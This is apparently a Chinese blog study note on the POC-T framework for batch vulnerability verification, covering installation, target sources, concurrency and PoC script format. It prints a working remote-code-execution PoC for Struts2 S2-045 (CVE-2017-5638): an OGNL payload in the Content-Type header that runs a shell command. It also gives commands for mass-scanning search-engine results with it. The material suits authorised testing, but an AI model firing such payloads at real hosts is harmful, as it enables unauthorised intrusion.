前言
本小节主要对POC-T框架的学习做一个小小的总结,顺便总结一下自己在源代码分析方面的认知。
需求分析
当互联网爆出高危漏洞或者团队内部挖到0day的时候,无论是甲方还是乙方都需要了解漏洞的影响面,这个时候就需要使用POC进行批量验证,而POC-T就孕育而生了,他不需要任何模板和继承,而且能够扩展其他功能,又能保证效率的最大化,不用每次写脚本都查文档格式,只需要“一个脚本,一条命令”花费三五分钟即可搞定!
简介与使用
数据高并发需求
要实现高效率批量操作,那么我们就要用到“数据并发处理”,而要实现这一点我们需要解决下面的三个关键点:
- 数据:数据怎么来?
- 处理:逻辑是什么?
- 并发:如何实现?
设计思路
相关的脚本辅助工具
安装方法
git clone https://github.com/Xyntax/POC-T
pip install -r requirement.txt
python POC-T.py
功能参数说明
运行示例
数据来源
POC-T的数据来源很丰富,包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口(-aG、-aZ、-aS、),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中,同时你可以设置Google代理,参数--limit的作用则是用于限制搜索数目的:
数据处理逻辑
数据的处理逻辑也就是POC对漏洞的验证,在POC-T框架的script目录下面已经有很多作者维护的POC脚本了,我们可以利用--show参数来查看现有的POC验证脚本名
在加载参数时我们可以使用-s POC名称来加载。
并发如何实现
POC-T框架的并发引擎有多线程(-eT)、协程(单线程异步-eG)来实现,而且有并发数量参数(-t)来指明并发的数量,默认值为10。
命令格式大致如下:
Python POC-T.py -s POC模块 -aZ “port:22” --limit 100
POC脚本编写
POC-T的验证脚本只需要一个poc()函数即可,成功就返回true或者自定义的信息,失败就返回False,除此之外没有任何限制。下面为POC-T的一个demo:
从上面我看可以看到一个POC的基本格式为:
def poc(input_str)
try:
...全部脚本逻辑...
except:
return False
再如S2-045的POC验证程序:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = 24''
"""
Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638)
Version:
2.3.5-2.3.31, 2.5-2.5.10
Usage:
python POC-T.py -s struts2-s2045 -aG "inurl:login.action" --gproxy "http 127.0.0.1 1080"
python POC-T.py -s struts2-s2045 -aZ "login.action"
python POC-T.py -s struts2-s2045 -iF FILE.txt
"""
import requests
import random
def poc(url):
if '://' not in url:
url = 'http://' + url
try:
a = random.randint(10000000, 20000000)
b = random.randint(10000000, 20000000)
c = a + b
win = 'set /a ' + str(a) + ' + ' + str(b)
linux = 'expr ' + str(a) + ' + ' + str(b)
header = dict()
header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
r = requests.get(url, headers=header, timeout=5)
if str(c) in r.text:
return '[S2-045]'+url
else:
return False
except Exception:
return False
在运行时框架的每个线程都会调用poc这个函数,并把目标url复制给POC函数。
其他的功能
爆破:/script/burte-example.py
爬虫:/script/spider-example.py
旁站:/script/bingc.py